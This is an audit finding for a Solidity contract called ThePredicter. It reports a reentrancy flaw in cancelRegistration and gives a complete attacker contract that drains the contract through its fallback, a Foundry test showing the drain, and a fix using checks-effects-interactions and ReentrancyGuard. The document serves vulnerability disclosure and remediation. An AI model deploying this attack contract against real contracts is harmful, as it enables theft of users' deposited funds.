Summary
The ThePredicter::cancelRegistration
function is vulnerable to a reentrancy attack. This allows an attacker to withdraw their entrance fee repeatedly, draining the contract's funds.
Vulnerability Details
The cancelRegistration
function sends ether to the caller before updating the player's status, allowing reentrancy attacks. An attacker can exploit this by waiting for many users to register, then repeatedly calling cancelRegistration
within the fallback function of a malicious contract, draining the contract's funds.
PoC
Attacker Contract
pragma solidity 0.8.20;
import "./ThePredicter.sol";
contract ReentrancyAttack {
ThePredicter public targetContract;
address public owner;
constructor(address _targetAddress) {
targetContract = ThePredicter(_targetAddress);
owner = msg.sender;
}
fallback() external payable {
if (address(targetContract).balance >= targetContract.entranceFee()) {
targetContract.cancelRegistration();
}
}
function attack() external payable {
require(msg.sender == owner, "Only owner can attack");
require(
msg.value == targetContract.entranceFee(),
"Incorrect entrance fee"
);
targetContract.register{value: msg.value}();
targetContract.cancelRegistration();
}
function withdraw() external {
require(msg.sender == owner, "Only owner can withdraw");
payable(owner).transfer(address(this).balance);
}
}
And this is the Reentrancy Attack Test with foundry for testing and verification
pragma solidity 0.8.20;
import {Test} from "forge-std/Test.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ReentrancyAttack} from "../src/ReentrancyAttack.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
contract ReentrancyAttackTest is Test {
ThePredicter public thePredicter;
ScoreBoard public scoreBoard;
ReentrancyAttack public reentrancyAttack;
address public attacker = address(0x1234);
address public organizer = address(0x5678);
uint256 public entranceFee = 0.04 ether;
uint256 public predictionFee = 0.0001 ether;
address public stranger1 = makeAddr("stranger");
address public stranger2 = makeAddr("stranger2");
function setUp() public {
vm.deal(attacker, 1 ether);
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(
address(scoreBoard),
entranceFee,
predictionFee
);
scoreBoard.setThePredicter(address(thePredicter));
vm.stopPrank();
vm.prank(attacker);
reentrancyAttack = new ReentrancyAttack(address(thePredicter));
}
function testReentrancyAttack() public {
vm.deal(stranger1, 1 ether);
vm.startPrank(stranger1);
thePredicter.register{value: entranceFee}();
vm.stopPrank();
assertEq(stranger1.balance, 0.96 ether);
assertEq(address(thePredicter).balance, entranceFee);
vm.deal(stranger2, 1 ether);
vm.startPrank(stranger2);
thePredicter.register{value: entranceFee}();
vm.stopPrank();
assertEq(stranger2.balance, 0.96 ether);
assertEq(address(thePredicter).balance, entranceFee * 2);
vm.startPrank(attacker);
reentrancyAttack.attack{value: entranceFee}();
assertEq(address(thePredicter).balance, 0);
assertEq(address(attacker).balance, 0.96 ether);
reentrancyAttack.withdraw();
assertEq(attacker.balance, 1 ether + entranceFee * 2);
vm.stopPrank();
}
}
The attacker can even wait for players to make their predictions and then drain all the funds from the contract, attempting to maximize their profit, as long as they are not an approved player.
Impact
An attacker can exploit this vulnerability to drain the contract's funds by repeatedly calling the cancelRegistration
function.
Tools Used
Foundry
Recommendations
Use Checks-Effects-Interactions Pattern: Update the player's status before sending ether to prevent reentrancy attacks.
Use Reentrancy Guard: Implement a reentrancy guard to prevent reentrant calls. This can be done using OpenZeppelin's ReentrancyGuard
contract.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {ScoreBoard} from "./ScoreBoard.sol";
+ import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract ThePredicter is ReentrancyGuard {
// ... existing code ...
function cancelRegistration() public
+ nonReentrant
{
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
// ... existing code ...
}